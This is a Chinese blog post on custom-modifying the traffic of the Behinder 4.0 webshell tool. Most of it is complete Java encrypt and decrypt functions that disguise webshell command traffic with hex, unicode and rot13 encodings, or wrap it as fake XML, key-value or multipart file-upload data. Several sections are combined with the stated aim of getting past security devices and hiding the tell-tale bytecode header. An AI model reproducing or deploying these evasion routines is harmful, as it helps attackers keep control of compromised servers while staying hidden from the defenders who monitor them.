冰蝎4.0流量分析及魔改
2023-4-25 21:27:55 Author: W小哥(查看原文) 阅读量:12 收藏

冰蝎v4.0开放了传输协议的自定义功能,使得流量魔改更为简单方便,本文以jsp脚本类型为例,提供一些冰蝎4流量魔改的方式

冰蝎4内置了如下几种传输协议,传输协议可以理解为流量的加密方式

以default_xor传输协议为例,这种传输协议是对原始数据进行了异或加密

效果如下:

我们来去掉加密解密函数的相关代码

如果不用任何加解密函数,request body其实传输的是java 字节码

响应体其实也是明文的固定格式的json类型
{"msg":"执行结果base64编码","status":"c3VjY2Vzcw=="}

变换加密方式

冰蝎4将加解密函数给外置出来,我们可以自己定义通信流量的加密方式,本次列举hex、unicode、rot13等加密方式

hex加密

前面已经分析过传输的data明文数据,所以在它基础上进行base64编码+hex编码,写上加解密函数即可实现hex加密流量

加密函数:

private byte[] Encrypt(byte[] data) throws Exception
{

String result = java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">");
String str="";
for (int i=0;i<result.length();i++){
int ch = (int)result.charAt(i);
String s4 = Integer.toHexString(ch);
str = str + s4;
}
return str.getBytes();
}

解密函数:

private byte[] Decrypt(byte[] data) throws Exception
{
String s= new String(data);
byte[] baKeyword = new byte[s.length()/2];
for(int i = 0; i < baKeyword.length; i++){
try{
baKeyword[i] = (byte)(0xff & Integer.parseInt(s.substring(i*2, i*2+2),16));
}catch(Exception e){
e.printStackTrace();
}
}
try{
s = new String(baKeyword, "utf-8");
}catch (Exception e1){
e1.printStackTrace();
}
byte[] str = java.util.Base64.getDecoder().decode(s.replace("<","+").replace(">","/"));
return str;
}

通信流量如下:

unicode加密

在base64编码的基础上加一层unicode编码,写unicode编码的加解密函数

加密函数:

private byte[] Encrypt(byte[] data) throws Exception
{

String result = java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">");
String str="";
StringBuffer unicode = new StringBuffer();
for(int i = 0; i < result.length(); i++){
char c = result.charAt(i);
unicode.append("\\u00" + Integer.toHexString(c));
}
return unicode.toString().getBytes();
}

解密函数:

private byte[] Decrypt(byte[] data) throws Exception
{
String unicode= new String(data);
StringBuilder sb = new StringBuilder();
int i = -1;
int pos = 0;
while ((i = unicode.indexOf("\\u", pos)) != -1) {
sb.append(unicode.substring(pos, i));
if (i + 5 < unicode.length()) {
pos = i + 6;
sb.append((char) Integer.parseInt(unicode.substring(i + 2, i + 6), 16));
}
}
byte[] str = java.util.Base64.getDecoder().decode(sb.toString().replace("<","+").replace(">","/"));
return str;

}

通信流量如下:

rot13加密

在base64编码的基础上加一层rot13编码,写rot13编码的加解密函数

加密函数:

private byte[] Encrypt(byte[] data) throws Exception
{
String input = java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">");
String str = "";
for (int i = 0; i < input.length(); i++)
{
char ch = input.charAt(i);
if (ch >= 'A' && ch <= 'Z')
{
ch = (char) (ch + 13);
if (ch > 'Z')
{
ch = (char)(ch - 26);
}
}
else if (ch >= 'a' && ch <= 'z')
{
ch = (char)(ch + 13);
if (ch > 'z')
{
ch = (char)(ch - 26);
}
}
str = str + ch;
}
return str.getBytes();
}

解密函数:

private byte[] Decrypt(byte[] data) throws Exception
{

String input = new String(data);
String str = "";
for (int i = 0; i < input.length(); i++)
{
char ch = input.charAt(i);
if (ch >= 'A' && ch <= 'Z')
{
ch = (char) (ch + 13);
if (ch > 'Z')
{
ch = (char)(ch - 26);
}
}
else if (ch >= 'a' && ch <= 'z')
{
ch = (char)(ch + 13);
if (ch > 'z')
{
ch = (char)(ch - 26);
}
}
str = str + ch;
}
return java.util.Base64.getDecoder().decode(str.replace("<","+").replace(">","/"));

}

通信流量如下:

变换传输方式

之前列举了一些常见的加密方式,单纯对流量进行加密可能会被检测出来,我们可以对通信流量加入一些业务数据进行混淆,可能会更容易绕过防护设备

xml格式传输

将字节码base64编码后的数据替换掉xml模板中指定的字符串就ok了,这样通信流量就变成了xml格式

加密函数:

private byte[] Encrypt(byte[] data) throws Exception
{
String xml="<?xml version=\"1.0\"?><user><id>1</id><content>DaYer0</content></user>";
xml=xml.replace("DaYer0",java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">"));
return xml.getBytes();
}

解密函数:

private byte[] Decrypt(byte[] data) throws Exception
{

java.io.ByteArrayOutputStream bos=new java.io.ByteArrayOutputStream();
bos.write(data,46,data.length-63);
return java.util.Base64.getDecoder().decode(new String(bos.toByteArray()).replace("<","+").replace(">","/"));
}

通信流量如下:

key-value格式传输

当然也可以定义一段key-value的数据,然后用base64编码后的数据替换掉指定字符串

加密函数:

private byte[] Encrypt(byte[] data) throws Exception
{
String json="id=1&content=DaYer0&token=1452178369&status=00000";
json=json.replace("DaYer0",java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">"));
return json.getBytes();
}

解密函数:

private byte[] Decrypt(byte[] data) throws Exception
{
java.io.ByteArrayOutputStream bos=new java.io.ByteArrayOutputStream();
bos.write(data,13,data.length-43);
return java.util.Base64.getDecoder().decode(new String(bos.toByteArray()).replace("<","+").replace(">","/"));

}

通信流量如下:

multipart格式传输

定义一段multipart格式的数据,然后替换指定字符串

加密函数:

private byte[] Encrypt(byte[] data) throws Exception
{
String upload="-----------------------------7e6103b1815de Content-Disposition:form-data;name=\"uploadFile\";filename=\"test.png\" Content-Type:application/octet-stream DaYer0 -----------------------------7e6103b1815de--";
upload=upload.replace("DaYer0",java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">"));
return upload.getBytes();
}

解密函数:

private byte[] Decrypt(byte[] data) throws Exception
{
java.io.ByteArrayOutputStream bos=new java.io.ByteArrayOutputStream();
bos.write(data,150,data.length-195);
return java.util.Base64.getDecoder().decode(new String(bos.toByteArray()).replace("<","+").replace(">","/"));

}

通信流量如下:

加密方式+传输方式组合

用变换传输方式的方法可以使通信流量更像业务,但是加密流量只进行了一次base64编码,我们知道原始流量是java字节码,在经过base64编码后会有yv66这样的魔术头,这样很容易被检测到,所以我们可以用加密方式和传输方式相结合的方法来躲避检测

xml格式+rot13加密

加密流量最外层进行一次rot13编码,然后再用xml的格式进行混淆

加密函数:

private byte[] Encrypt(byte[] data) throws Exception
{
String xml="<?xml version=\"1.0\"?><user><id>1</id><content>DaYer0</content></user>";
String input = java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">");
String str = "";
for (int i = 0; i < input.length(); i++)
{
char ch = input.charAt(i);
if (ch >= 'A' && ch <= 'Z')
{
ch = (char) (ch + 13);
if (ch > 'Z')
{
ch = (char)(ch - 26);
}
}
else if (ch >= 'a' && ch <= 'z')
{
ch = (char)(ch + 13);
if (ch > 'z')
{
ch = (char)(ch - 26);
}
}
str = str + ch;
}

xml=xml.replace("DaYer0",str);
return xml.getBytes();
}

解密函数:

private byte[] Decrypt(byte[] data) throws Exception
{

java.io.ByteArrayOutputStream bos=new java.io.ByteArrayOutputStream();
bos.write(data,46,data.length-63);
String input = new String(bos.toByteArray());
String str = "";
for (int i = 0; i < input.length(); i++)
{
char ch = input.charAt(i);
if (ch >= 'A' && ch <= 'Z')
{
ch = (char) (ch + 13);
if (ch > 'Z')
{
ch = (char)(ch - 26);
}
}
else if (ch >= 'a' && ch <= 'z')
{
ch = (char)(ch + 13);
if (ch > 'z')
{
ch = (char)(ch - 26);
}
}
str = str + ch;
}
return java.util.Base64.getDecoder().decode(str.replace("<","+").replace(">","/"));

}

通信流量如下:

key-value格式+unicode加密

加密流量最外层进行一次unicode编码,然后再用key-value的格式进行混淆

加密函数:

private byte[] Encrypt(byte[] data) throws Exception
{
String content="id=1&content=DaYer0&token=1452178369&status=00000";
String result = java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">");
String str="";
StringBuffer unicode = new StringBuffer();
for(int i = 0; i < result.length(); i++){
char c = result.charAt(i);
unicode.append("\\u00" + Integer.toHexString(c));
}
content=content.replace("DaYer0",unicode.toString());
return content.getBytes();
}

解密函数:

private byte[] Decrypt(byte[] data) throws Exception
{
java.io.ByteArrayOutputStream bos=new java.io.ByteArrayOutputStream();
bos.write(data,13,data.length-43);
String unicode= new String(bos.toByteArray());
StringBuilder sb = new StringBuilder();
int i = -1;
int pos = 0;
while ((i = unicode.indexOf("\\u", pos)) != -1) {
sb.append(unicode.substring(pos, i));
if (i + 5 < unicode.length()) {
pos = i + 6;
sb.append((char) Integer.parseInt(unicode.substring(i + 2, i + 6), 16));
}
}
byte[] str = java.util.Base64.getDecoder().decode(sb.toString().replace("<","+").replace(">","/"));
return str;
}

通信流量如下:

multipart格式+hex加密

加密流量最外层进行一次hex编码,然后再用multipart的格式进行混淆

加密函数:

private byte[] Encrypt(byte[] data) throws Exception
{
String upload="-----------------------------7e6103b1815de Content-Disposition:form-data;name=\"uploadFile\";filename=\"test.png\" Content-Type:application/octet-stream DaYer0 -----------------------------7e6103b1815de--";
String str = "";
String result = java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">");
for (int i=0;i<result.length();i++){
int ch = (int)result.charAt(i);
String s4 = Integer.toHexString(ch);
str = str + s4;
}
upload=upload.replace("DaYer0",str);
return upload.getBytes();
}

解密函数:

private byte[] Decrypt(byte[] data) throws Exception
{
java.io.ByteArrayOutputStream bos=new java.io.ByteArrayOutputStream();
bos.write(data,150,data.length-195);
String s= new String(bos.toByteArray());
byte[] baKeyword = new byte[s.length()/2];
for(int i = 0; i < baKeyword.length; i++){
try{
baKeyword[i] = (byte)(0xff & Integer.parseInt(s.substring(i*2, i*2+2),16));
}catch(Exception e){
e.printStackTrace();
}
}
try{
s = new String(baKeyword, "utf-8");
}catch (Exception e1){
e1.printStackTrace();
}
return java.util.Base64.getDecoder().decode(s.replace("<","+").replace(">","/"));

}

通信流量如下:

本文针对冰蝎4流量魔改提供了一些魔改的方式,当然有好的魔改思路也欢迎师傅们分享,最后感谢冰蝎作者rebeyond |


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